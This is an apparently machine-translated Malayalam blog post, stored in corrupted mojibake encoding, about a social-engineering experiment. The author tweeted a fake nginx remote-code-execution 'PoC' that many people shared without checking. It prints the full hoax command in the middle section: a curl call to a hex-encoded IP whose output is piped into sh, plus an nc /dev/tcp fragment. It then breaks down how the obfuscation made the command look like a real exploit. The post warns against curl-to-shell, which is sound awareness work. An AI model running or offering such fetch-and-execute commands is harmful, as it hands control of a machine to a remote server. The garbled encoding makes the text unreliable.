เดตเตเดฏเดพเดœ nginx เดšเต‚เดทเดฃเดคเตเดคเต‹เดŸเตเด•เต‚เดŸเดฟเดฏ เด’เดฐเต เดธเดพเดฎเต‚เดนเดฟเด• เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดตเดฟเดœเดฏเด‚

เด•เตเดฑเดฟเดชเตเดชเต. เดตเดฟเดตเตผเดคเตเดคเดจเด‚.: เดฐเดšเดฏเดฟเดคเดพเดตเต เดœเต‚เตบ 1 เดจเต เดชเตเดฐเดธเดฟเดฆเตเดงเต€เด•เดฐเดฟเดšเตเดš เดฏเดฅเดพเตผเดคเตเดฅ เด•เตเดฑเดฟเดชเตเดชเต, เดตเดฟเดตเดฐ เดธเตเดฐเด•เตเดทเดฏเดฟเตฝ เดคเดพเตฝเดชเตเดชเดฐเตเดฏเดฎเตเดณเตเดณเดตเตผเด•เตเด•เดฟเดŸเดฏเดฟเตฝ เด’เดฐเต เดชเดฐเต€เด•เตเดทเดฃเด‚ เดจเดŸเดคเตเดคเดพเตป เดคเต€เดฐเตเดฎเดพเดจเดฟเดšเตเดšเต. เด‡เดคเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต, เด…เดฆเตเดฆเต‡เดนเด‚ เดตเต†เดฌเต เดธเต†เตผเดตเดฑเดฟเดฒเต† เด’เดฐเต เด…เดœเตเดžเดพเดคเดฎเดพเดฏ เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพเด•เตเด•เดพเดฏเดฟ เด’เดฐเต เดตเตเดฏเดพเดœ เดšเต‚เดทเดฃเด‚ เดคเดฏเตเดฏเดพเดฑเดพเด•เตเด•เดฟ เด…เดคเต เดคเตปเตเดฑเต† เดŸเตเดตเดฟเดฑเตเดฑเดฑเดฟเตฝ เดชเต‹เดธเตเดฑเตเดฑเต เดšเต†เดฏเตเดคเต. เด…เดฆเตเดฆเต‡เดนเดคเตเดคเดฟเตปเตเดฑเต† เด…เดจเตเดฎเดพเดจเด™เตเด™เตพ - เด•เต‹เดกเดฟเดฒเต† เดตเตเดฏเด•เตเดคเดฎเดพเดฏ เดตเดžเตเดšเดจ เด•เดพเดฃเตเดจเตเดจ เดธเตเดชเต†เดทเตเดฏเดฒเดฟเดธเตเดฑเตเดฑเตเด•เตพ เดคเตฝเด•เตเดทเดฃเด‚ เดคเตเดฑเดจเตเดจเตเด•เดพเดŸเตเดŸเดฃเด‚ - เด…เดคเต เดฏเดพเดฅเดพเตผเดคเตเดฅเตเดฏเดฎเดพเดฏเดฟเดฒเตเดฒ เดŽเดจเตเดจเต เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ... เด…เดต เดŽเดฒเตเดฒเดพ เดชเตเดฐเดคเต€เด•เตเดทเด•เดณเต†เดฏเตเด‚ เด•เดตเดฟเดฏเตเดจเตเดจเต, เดตเดฟเดชเดฐเต€เดค เดฆเดฟเดถเดฏเดฟเตฝ: เดŸเตเดตเต€เดฑเตเดฑเดฟเดจเต เดจเดฟเดฐเดตเดงเดฟ เด†เดณเตเด•เดณเดฟเตฝ เดจเดฟเดจเตเดจเต เดตเดฒเดฟเดฏ เดชเดฟเดจเตเดคเตเดฃ เดฒเดญเดฟเดšเตเดšเต. เด…เดคเดฟเตปเตเดฑเต† เด‰เดณเตเดณเดŸเด•เตเด•เด™เตเด™เตพ เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เตเด•.

เดตเตเดฏเดพเดœ nginx เดšเต‚เดทเดฃเดคเตเดคเต‹เดŸเตเด•เต‚เดŸเดฟเดฏ เด’เดฐเต เดธเดพเดฎเต‚เดนเดฟเด• เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดตเดฟเดœเดฏเด‚

TL;DR: เด’เดฐเต เดธเดพเดนเดšเดฐเตเดฏเดคเตเดคเดฟเดฒเตเด‚ sh เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ bash-เตฝ เดซเดฏเตฝ เดชเตˆเดชเตเดชเตเดฒเตˆเดจเดฟเด‚เด—เต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดฐเตเดคเต. เดจเดฟเด™เตเด™เดณเตเดŸเต† เด•เดฎเตเดชเตเดฏเต‚เดŸเตเดŸเดฑเดฟเตปเตเดฑเต† เดจเดฟเดฏเดจเตเดคเตเดฐเดฃเด‚ เดจเดทเตเดŸเดชเตเดชเต†เดŸเตเดคเตเดคเดพเดจเตเดณเตเดณ เดฎเดฟเด•เดšเตเดš เดฎเดพเตผเด—เดฎเดพเดฃเดฟเดคเต.

เดฎเต†เดฏเต 31-เดจเต เดธเตƒเดทเตเดŸเดฟเดšเตเดš เด’เดฐเต เด•เต‹เดฎเดฟเด•เต PoC เดšเต‚เดทเดฃเดคเตเดคเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เด’เดฐเต เดšเต†เดฑเตเด•เดฅ เดจเดฟเด™เตเด™เดณเตเดฎเดพเดฏเดฟ เดชเด™เตเด•เดฟเดŸเดพเตป เดžเดพเตป เด†เด—เตเดฐเดนเดฟเด•เตเด•เตเดจเตเดจเต. เดตเดพเตผเดคเตเดคเด•เดณเต‹เดŸเตเดณเตเดณ เดชเตเดฐเดคเดฟเด•เดฐเดฃเดฎเดพเดฏเดฟ เด…เดฆเตเดฆเต‡เดนเด‚ เด‰เดŸเตป เดชเตเดฐเดคเตเดฏเด•เตเดทเดชเตเดชเต†เดŸเตเดŸเต เด…เดฒเดฟเดธ เดŽเดธเต‡เดœเต เดทเต†เดตเตเดšเต†เด™เตเด•เต‹, เด…เด‚เด—เด‚ เดธเต€เดฑเต‹ เดกเต‡ เด‡เดจเดฟเดทเตเดฏเต‡เดฑเตเดฑเต€เดตเต (ZDI), RCE (เดฑเดฟเดฎเต‹เดŸเตเดŸเต เด•เต‹เดกเต เดŽเด•เตโ€Œเดธเดฟเด•เตเดฏเต‚เดทเตป) เดฒเต‡เด•เตเด•เต เดจเดฏเดฟเด•เตเด•เตเดจเตเดจ NGINX-เดฒเต† เด’เดฐเต เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดคเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เดตเดฟเดตเดฐเด™เตเด™เตพ เด‰เดŸเตป เดตเต†เดณเดฟเดชเตเดชเต†เดŸเตเดคเตเดคเตเด‚. NGINX เดจเดฟเดฐเดตเดงเดฟ เดตเต†เดฌเตโ€Œเดธเตˆเดฑเตเดฑเตเด•เตพเด•เตเด•เต เดถเด•เตเดคเดฟ เดจเตฝเด•เตเดจเตเดจเดคเดฟเดจเดพเตฝ, เดตเดพเตผเดคเตเดค เด’เดฐเต เดฌเต‹เด‚เดฌเต เดทเต†เตฝ เด†เดฏเดฟเดฐเตเดจเตเดจเดฟเดฐเดฟเด•เตเด•เดฃเด‚. เดŽเดจเตเดจเดพเตฝ โ€œเด‰เดคเตเดคเดฐเดตเดพเดฆเดฟเดคเตเดคเดชเดฐเดฎเดพเดฏ เดตเต†เดณเดฟเดชเตเดชเต†เดŸเตเดคเตเดคเตฝโ€ เดชเตเดฐเด•เตเดฐเดฟเดฏเดฏเดฟเดฒเต† เด•เดพเดฒเดคเดพเดฎเดธเด‚ เด•เดพเดฐเดฃเด‚, เดŽเดจเตเดคเดพเดฃเต เดธเด‚เดญเดตเดฟเดšเตเดšเดคเต เดŽเดจเตเดจเดคเดฟเตปเตเดฑเต† เดตเดฟเดถเดฆเดพเด‚เดถเด™เตเด™เตพ เด…เดฑเดฟเดฏเดฟเดฒเตเดฒ - เด‡เดคเดพเดฃเต เดธเดพเดงเดพเดฐเดฃ ZDI เดจเดŸเดชเดŸเดฟเด•เตเดฐเดฎเด‚.

เดตเตเดฏเดพเดœ nginx เดšเต‚เดทเดฃเดคเตเดคเต‹เดŸเตเด•เต‚เดŸเดฟเดฏ เด’เดฐเต เดธเดพเดฎเต‚เดนเดฟเด• เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดตเดฟเดœเดฏเด‚
เดŸเตเดตเต€เดฑเตเดฑเต NGINX เดฒเต† เดฆเตเตผเดฌเดฒเดค เดตเต†เดณเดฟเดชเตเดชเต†เดŸเตเดคเตเดคเดฒเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต

เดšเตเดฐเตเดณเดฟเตฝ เด’เดฐเต เดชเตเดคเดฟเดฏ เด…เดตเตเดฏเด•เตเดคเดค เดŸเต†เด•เตเดจเดฟเด•เตเด•เดฟเตปเตเดฑเต† เดœเต‹เดฒเดฟ เดชเต‚เตผเดคเตเดคเดฟเดฏเดพเด•เตเด•เดฟเดฏ เดถเต‡เดทเด‚, เดžเดพเตป เดฏเดฅเดพเตผเดคเตเดฅ เดŸเตเดตเต€เดฑเตเดฑเต เด‰เดฆเตเดงเดฐเดฟเดšเตเดšเต, เด•เดฃเตเดŸเต†เดคเตเดคเดฟเดฏ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เดšเต‚เดทเดฃเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจ เด’เดฐเต เด•เต‹เดกเต เด•เต‹เดกเต เด…เดŸเด™เตเด™เดฟเดฏ "เด’เดฐเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ PoC เดšเต‹เตผเดคเตเดคเดฟ". เดคเต€เตผเดšเตเดšเดฏเดพเดฏเตเด‚, เด‡เดคเต เดคเดฟเด•เดžเตเดž เด…เดธเด‚เดฌเดจเตเดงเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต. เดžเดพเตป เด‰เดŸเดจเดŸเดฟ เดคเตเดฑเดจเตเดจเตเด•เดพเดŸเตเดŸเดชเตเดชเต†เดŸเตเดฎเต†เดจเตเดจเต เดžเดพเตป เด…เดจเตเดฎเดพเดจเดฟเดšเตเดšเต, เดเดฑเตเดฑเดตเตเด‚ เดฎเดฟเด•เดšเตเดšเดคเต เดŽเดจเดฟเด•เตเด•เต เดฐเดฃเตเดŸเต เดฑเต€เดŸเตเดตเต€เดฑเตเดฑเตเด•เตพ เดฒเดญเดฟเด•เตเด•เตเดฎเต†เดจเตเดจเต (เด“ เด•เตŠเดณเตเดณเดพเด‚).

เดตเตเดฏเดพเดœ nginx เดšเต‚เดทเดฃเดคเตเดคเต‹เดŸเตเด•เต‚เดŸเดฟเดฏ เด’เดฐเต เดธเดพเดฎเต‚เดนเดฟเด• เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดตเดฟเดœเดฏเด‚
เดŸเตเดตเต€เดฑเตเดฑเต เดตเตเดฏเดพเดœ เดšเต‚เดทเดฃเดคเตเดคเต‹เดŸเต†

เดŽเดจเตเดจเดฟเดฐเตเดจเตเดจเดพเดฒเตเด‚, เดชเดฟเดจเตเดจเต€เดŸเต เดŽเดจเตเดคเดพเดฃเต เดธเด‚เดญเดตเดฟเดšเตเดšเดคเต†เดจเตเดจเต เดŽเดจเดฟเด•เตเด•เต เดธเด™เตเด•เตฝเดชเตเดชเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดžเตเดžเดฟเดฒเตเดฒ. เดŽเตปเตเดฑเต† เดŸเตเดตเต€เดฑเตเดฑเดฟเตปเตเดฑเต† เดœเดจเดชเตเดฐเต€เดคเดฟ เด•เตเดคเดฟเดšเตเดšเตเดฏเตผเดจเตเดจเต. เด…เดคเดฟเดถเดฏเด•เดฐเดฎเต†เดจเตเดจเต เดชเดฑเดฏเดŸเตเดŸเต†, เด‡เดชเตเดชเต‹เตพ (15:00 เดฎเต‹เดธเตเด•เต‹ เดธเดฎเดฏเด‚ เดœเต‚เตบ 1) เด‡เดคเต เดตเตเดฏเดพเดœเดฎเดพเดฃเต†เดจเตเดจเต เด•เตเดฑเดšเตเดšเต เด†เดณเตเด•เตพเด•เตเด•เต เดฎเดจเดธเตเดธเดฟเดฒเดพเดฏเดฟ. เดชเดฒเดฐเตเด‚ เด…เดคเต เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เดพเดคเต† เดคเดจเตเดจเต† เดฑเต€เดŸเตเดตเต€เดฑเตเดฑเต เดšเต†เดฏเตเดฏเตเดจเตเดจเต (เด…เดคเต เด”เดŸเตเดŸเตโ€ŒเดชเตเดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเดจเตเดจ เดฎเดจเต‹เดนเดฐเดฎเดพเดฏ ASCII เด—เตเดฐเดพเดซเดฟเด•เตโ€Œเดธเดฟเดจเต† เด…เดญเดฟเดจเดจเตเดฆเดฟเด•เตเด•เตเด• เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ).

เดตเตเดฏเดพเดœ nginx เดšเต‚เดทเดฃเดคเตเดคเต‹เดŸเตเด•เต‚เดŸเดฟเดฏ เด’เดฐเต เดธเดพเดฎเต‚เดนเดฟเด• เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดตเดฟเดœเดฏเด‚
เด…เดคเต เดŽเดคเตเดฐ เดฎเดจเต‹เดนเดฐเดฎเดพเดฃเต†เดจเตเดจเต เดจเต‹เด•เตเด•เต‚!

เดˆ เดฒเต‚เดชเตเดชเตเด•เดณเตเด‚ เดจเดฟเดฑเด™เตเด™เดณเตเด‚ เดฎเดฟเด•เดšเตเดšเดคเดพเดฃเต†เด™เตเด•เดฟเดฒเตเด‚, เด†เดณเตเด•เตพเด•เตเด•เต เด…เดต เด•เดพเดฃเตเดจเตเดจเดคเดฟเดจเต เด…เดตเดฐเตเดŸเต† เดฎเต†เดทเต€เดจเดฟเตฝ เด•เต‹เดกเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต†เดจเตเดจเต เดตเตเดฏเด•เตเดคเดฎเดพเดฃเต. เดญเดพเด—เตเดฏเดตเดถเดพเตฝ, เดฌเตเดฐเต—เดธเดฑเตเด•เตพ เด’เดฐเต‡ เดฐเต€เดคเดฟเดฏเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเต, เดจเดฟเดฏเดฎเดชเดฐเดฎเดพเดฏ เดชเตเดฐเดถเตโ€Œเดจเด™เตเด™เดณเดฟเตฝ เด…เด•เดชเตเดชเต†เดŸเดพเตป เดžเดพเตป เด†เด—เตเดฐเดนเดฟเด•เตเด•เตเดจเตเดจเดฟเดฒเตเดฒ เดŽเดจเตเดจ เดตเดธเตเดคเตเดคเดฏเตเดฎเดพเดฏเดฟ เดธเด‚เดฏเต‹เดœเดฟเดชเตเดชเดฟเดšเตเดšเต, เดŽเตปเตเดฑเต† เดธเตˆเดฑเตเดฑเดฟเตฝ เด•เตเดดเดฟเดšเตเดšเดฟเดŸเตเดŸเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เด•เต‹เดกเต เด…เดงเดฟเด• เด•เต‹เดกเต เด‡เตปเดธเตเดฑเตเดฑเดพเตพ เดšเต†เดฏเตเดฏเดพเดจเต‹ เดŽเด•เตโ€Œเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเดพเดจเต‹ เดถเตเดฐเดฎเดฟเด•เตเด•เดพเดคเต† เดŽเด•เตเด•เต‹ เด•เต‹เดณเตเด•เตพ เดšเต†เดฏเตเดฏเตเดจเตเดจเต.

เด’เดฐเต เดšเต†เดฑเดฟเดฏ เดตเตเดฏเดคเดฟเดšเดฒเดจเด‚: เดจเต†เดฑเตเดฑเตเดธเตเดชเต‚เด•เตเด•เดฟ, dnz, เดžเดพเดจเตเด‚ เดŸเต€เดฎเดฟเดฒเต† เดฎเดฑเตเดฑเต เด†เดณเตเด•เดณเตเด‚ เด•เตŠเดณเตเดณเดธเด‚เด˜เด‚ เดšเตเดฐเตเดณเตป เด•เดฎเดพเตปเดกเตเด•เตพ เด…เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เดพเตป เดžเด™เตเด™เตพ เด•เตเดฑเดšเตเดšเต เด•เดพเดฒเดฎเดพเดฏเดฟ เดตเตเดฏเดคเตเดฏเดธเตเดค เดตเดดเดฟเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด•เดณเดฟเด•เตเด•เตเดจเตเดจเต, เด•เดพเดฐเดฃเด‚ เด‡เดคเต เดฐเดธเด•เดฐเดฎเดพเดฃเต... เดžเด™เตเด™เตพ เด—เต€เด•เตเด•เตเดฎเดพเดฐเดพเดฃเต. netspooky เด‰เด‚ dnz เด‰เด‚ เดŽเดจเดฟเด•เตเด•เต เดตเดณเดฐเต† เดชเตเดฐเดคเต€เด•เตเดท เดจเตฝเด•เตเดจเตเดจ เดจเดฟเดฐเดตเดงเดฟ เดชเตเดคเดฟเดฏ เดฐเต€เดคเดฟเด•เตพ เด•เดฃเตเดŸเต†เดคเตเดคเดฟ. เดžเดพเตป เดคเดฎเดพเดถเดฏเดฟเตฝ เดชเด™เตเด•เตเดšเต‡เดฐเตเด•เดฏเตเด‚ เดคเดจเตเดคเตเดฐเด™เตเด™เดณเตเดŸเต† เดฌเดพเด—เดฟเดฒเต‡เด•เตเด•เต IP เดฆเดถเดพเด‚เดถ เดชเดฐเดฟเดตเตผเดคเตเดคเดจเด™เตเด™เตพ เดšเต‡เตผเด•เตเด•เดพเตป เดถเตเดฐเดฎเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดคเต. เดเดชเดฟเดฏเต† เดนเต†เด•เตเดธเดพเดกเต†เดธเดฟเดฎเตฝ เดซเต‹เตผเดฎเดพเดฑเตเดฑเดฟเดฒเต‡เด•เตเด•เตเด‚ เดชเดฐเดฟเดตเตผเดคเตเดคเดจเด‚ เดšเต†เดฏเตเดฏเดพเตป เด•เดดเดฟเดฏเตเดฎเต†เดจเตเดจเต เด‡เดคเต เดฎเดพเดฑเตเดจเตเดจเต. เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ, เดšเตเดฐเตเดณเตเด•เดณเตเด‚ เดฎเดฑเตเดฑเต เดฎเดฟเด•เตเด• NIX เด‰เดชเด•เดฐเดฃเด™เตเด™เดณเตเด‚ เดนเต†เด•เตเดธเดพเดกเต†เดธเดฟเดฎเตฝ เดเดชเดฟเด•เตพ เดธเดจเตเดคเต‹เดทเดคเตเดคเต‹เดŸเต† เดคเดฟเดจเตเดจเตเดจเตเดจเต! เด…เดคเดฟเดจเดพเตฝ เด…เดคเต เดฌเต‹เดงเตเดฏเดชเตเดชเต†เดŸเตเดคเตเดคเตเดจเตเดจเดคเตเด‚ เดธเตเดฐเด•เตเดทเดฟเดคเดฎเดพเดฏเดฟ เด•เดพเดฃเดชเตเดชเต†เดŸเตเดจเตเดจเดคเตเดฎเดพเดฏ เด’เดฐเต เด•เดฎเดพเตปเดกเต เดฒเตˆเตป เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเด• เดฎเดพเดคเตเดฐเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต. เด†เดคเตเดฏเดจเตเดคเดฟเด•เดฎเดพเดฏเดฟ เดžเดพเตป เด‡เดคเดฟเตฝ เดคเต€เตผเดชเตเดชเดพเด•เตเด•เดฟ:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

เดธเต‹เดทเตเดฏเต‹-เด‡เดฒเด•เตโ€ŒเดŸเตเดฐเต‹เดฃเดฟเด•เต เดŽเดžเตเดšเดฟเดจเต€เดฏเดฑเดฟเด‚เด—เต (SEE) - เดซเดฟเดทเดฟเด‚เด—เต เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ

เดธเตเดฐเด•เตเดทเดฟเดคเดคเตเดตเดตเตเด‚ เดชเดฐเดฟเดšเดฏเดตเตเด‚ เดˆ เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเตปเตเดฑเต† เดชเตเดฐเดงเดพเดจ เดญเดพเด—เดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต. เด…เดตเดฏเดพเดฃเต เด…เดฆเตเดฆเต‡เดนเดคเตเดคเดฟเตปเตเดฑเต† เดตเดฟเดœเดฏเดคเตเดคเดฟเดฒเต‡เด•เตเด•เต เดจเดฏเดฟเดšเตเดšเดคเต†เดจเตเดจเต เดžเดพเตป เด•เดฐเตเดคเตเดจเตเดจเต. "127.0.0.1" (เดชเตเดฐเดถเดธเตเดค เดฒเต‹เด•เตเด•เตฝ เดนเต‹เดธเตเดฑเตเดฑเต) เดชเดฐเดพเดฎเตผเดถเดฟเดšเตเดšเตเด•เตŠเดฃเตเดŸเต เด•เดฎเดพเตปเดกเต เดฒเตˆเตป เดตเตเดฏเด•เตเดคเดฎเดพเดฏเดฟ เดธเตเดฐเด•เตเดทเดฏเต† เดธเต‚เดšเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเต. เดฒเต‹เด•เตเด•เตฝเดนเต‹เดธเตเดฑเตเดฑเต เดธเตเดฐเด•เตเดทเดฟเดคเดฎเดพเดฏเดฟ เด•เดฃเด•เตเด•เดพเด•เตเด•เดชเตเดชเต†เดŸเตเดจเตเดจเต, เด…เดคเดฟเดฒเต† เดกเดพเดฑเตเดฑ เด’เดฐเดฟเด•เตเด•เดฒเตเด‚ เดจเดฟเด™เตเด™เดณเตเดŸเต† เด•เดฎเตเดชเตเดฏเต‚เดŸเตเดŸเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต เดชเตเดฑเดคเตเดคเตเดชเต‹เด•เดฟเดฒเตเดฒ.

เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเตปเตเดฑเต† เดฐเดฃเตเดŸเดพเดฎเดคเตเดคเต† เดชเตเดฐเดงเดพเดจ SEE เด˜เดŸเด•เดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต เดชเดฐเดฟเดšเดฏเด‚. เดŸเดพเตผเด—เต†เดฑเตเดฑเต เดชเตเดฐเต‡เด•เตเดทเด•เตผ เดชเตเดฐเดพเดฅเดฎเดฟเด•เดฎเดพเดฏเดฟ เด•เดฎเตเดชเตเดฏเต‚เดŸเตเดŸเตผ เดธเตเดฐเด•เตเดทเดฏเตเดŸเต† เด…เดŸเดฟเดธเตเดฅเดพเดจเด•เดพเดฐเตเดฏเด™เตเด™เตพ เดชเดฐเดฟเดšเดฟเดคเดฐเดพเดฏ เด†เดณเตเด•เดณเต† เด‰เตพเด•เตเด•เตŠเดณเตเดณเตเดจเตเดจเดคเดฟเดจเดพเตฝ, เด…เดคเดฟเตปเตเดฑเต† เดญเดพเด—เด™เตเด™เตพ เดชเดฐเดฟเดšเดฟเดคเดตเตเด‚ เดชเดฐเดฟเดšเดฟเดคเดตเตเดฎเดพเดฃเต†เดจเตเดจเต เดคเต‹เดจเตเดจเตเดจเตเดจ เดคเดฐเดคเตเดคเดฟเตฝ เด•เต‹เดกเต เดธเตƒเดทเตเดŸเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเต เดชเตเดฐเดงเดพเดจเดฎเดพเดฃเต (เด…เดคเดฟเดจเดพเตฝ เดธเตเดฐเด•เตเดทเดฟเดคเดฎเดพเดฃเต). เดชเดดเดฏ เดšเต‚เดทเดฃ เดธเด™เตเด•เตฝเดชเตเดชเด™เตเด™เดณเตเดŸเต† เด˜เดŸเด•เด™เตเด™เตพ เด•เดŸเดฎเต†เดŸเตเดคเตเดคเต เด…เดธเดพเดงเดพเดฐเดฃเดฎเดพเดฏ เดฐเต€เดคเดฟเดฏเดฟเตฝ เดธเด‚เดฏเต‹เดœเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเดคเต เดตเดณเดฐเต† เดตเดฟเดœเดฏเด•เดฐเดฎเดพเดฃเต†เดจเตเดจเต เดคเต†เดณเดฟเดฏเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดŸเดฟเดŸเตเดŸเตเดฃเตเดŸเต.

เดตเตบเดฒเตˆเดจเดฑเดฟเตปเตเดฑเต† เดตเดฟเดถเดฆเดฎเดพเดฏ เดตเดฟเดถเด•เดฒเดจเด‚ เดšเตเดตเดŸเต†เดฏเตเดฃเตเดŸเต. เดˆ เดฒเดฟเดธเตเดฑเตเดฑเดฟเดฒเต† เดŽเดฒเตเดฒเดพเด‚ เดงเดฐเดฟเด•เตเด•เตเดจเตเดจเต เด•เต‹เดธเตเดฎเต†เดฑเตเดฑเดฟเด•เต เดธเตเดตเดญเดพเดตเด‚, เด•เต‚เดŸเดพเดคเต† เด…เดคเดฟเตปเตเดฑเต† เดฏเดฅเดพเตผเดคเตเดฅ เดชเตเดฐเดตเตผเดคเตเดคเดจเดคเตเดคเดฟเดจเต เดชเตเดฐเดพเดฏเต‹เด—เดฟเด•เดฎเดพเดฏเดฟ เด’เดจเตเดจเตเด‚ เด†เดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ.

เดเดคเต เด˜เดŸเด•เด™เตเด™เตพ เดถเดฐเดฟเด•เตเด•เตเด‚ เด†เดตเดถเตเดฏเดฎเดพเดฃเต? เดˆ -gsS, -O 0x0238f06a, |sh เดตเต†เดฌเต เดธเต†เตผเดตเดฑเตเด‚. เดตเต†เดฌเต เดธเต†เตผเดตเดฑเดฟเตฝ เด•เตเดทเตเดฆเตเดฐเด•เดฐเดฎเดพเดฏ เดจเดฟเตผเดฆเตเดฆเต‡เดถเด™เตเด™เดณเตŠเดจเตเดจเตเด‚ เด…เดŸเด™เตเด™เดฟเดฏเดฟเดŸเตเดŸเดฟเดฒเตเดฒ, เดŽเดจเตเดจเดพเตฝ เด•เดฎเดพเตปเดกเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต ASCII เด—เตเดฐเดพเดซเดฟเด•เตเดธเต เดจเตฝเด•เดฟเดฏเดฟเดŸเตเดŸเตเดฃเตเดŸเต echo เตฝ เด…เดŸเด™เตเด™เดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเดฟเตฝ index.html. เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเต เด’เดฐเต เดตเดฐเดฟ เดจเตฝเด•เดฟเดฏเดชเตเดชเต‹เตพ |sh เดฎเดงเตเดฏเดคเตเดคเดฟเตฝ, index.html เดฒเต‹เดกเต เดšเต†เดฏเตเดคเต เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดฟ. เดญเดพเด—เตเดฏเดตเดถเดพเตฝ, เดตเต†เดฌเต เดธเต†เตผเดตเดฑเดฟเตปเตเดฑเต† เดธเด‚เดฐเด•เตเดทเด•เตผเด•เตเด•เต เดฆเตเดฐเตเดฆเตเดฆเต‡เดถเตเดฏเด™เตเด™เดณเตŠเดจเตเดจเตเด‚ เด‰เดฃเตเดŸเดพเดฏเดฟเดฐเตเดจเตเดจเดฟเดฒเตเดฒ.

  • ../../../%00 - เดกเดฏเดฑเด•เตโ€ŒเดŸเดฑเดฟเด•เตเด•เต เด…เดชเตเดชเตเดฑเดคเตเดคเต‡เด•เตเด•เต เดชเต‹เด•เตเดจเตเดจเดคเดฟเดจเต† เดชเตเดฐเดคเดฟเดจเดฟเดงเต€เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเต;
  • ngx_stream_module.so - เด•เตเดฐเดฎเดฐเดนเดฟเดคเดฎเดพเดฏ NGINX เดฎเตŠเดกเตเดฏเต‚เดณเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดชเดพเดค;
  • /bin/sh%00<'protocol:TCP' - เดžเด™เตเด™เตพ เดธเดฎเดพเดฐเด‚เดญเดฟเด•เตเด•เตเด•เดฏเดพเดฃเต†เดจเตเดจเต เด•เดฐเตเดคเดชเตเดชเต†เดŸเตเดจเตเดจเต /bin/sh เดŸเดพเตผเด—เต†เดฑเตเดฑเต เดฎเต†เดทเต€เดจเดฟเตฝ เดŸเดฟเดธเดฟเดชเดฟ เดšเดพเดจเดฒเดฟเดฒเต‡เด•เตเด•เต เด”เดŸเตเดŸเตเดชเตเดŸเตเดŸเต เดฑเต€เดกเดฏเดฑเด•เตเดŸเต เดšเต†เดฏเตเดฏเตเด•;
  • -O 0x0238f06a#PLToffset - เดฐเดนเดธเตเดฏ เด˜เดŸเด•เด‚, เด…เดจเตเดฌเดจเตเดงเดฎเดพเดฏเดฟ #PLToffset, PLT-เตฝ เด…เดŸเด™เตเด™เดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เดฎเต†เดฎเตเดฎเดฑเดฟ เด“เดซเตโ€Œเดธเต†เดฑเตเดฑเต เดชเต‹เดฒเต† เด•เดพเดฃเตเดจเตเดจเดคเดฟเดจเต;
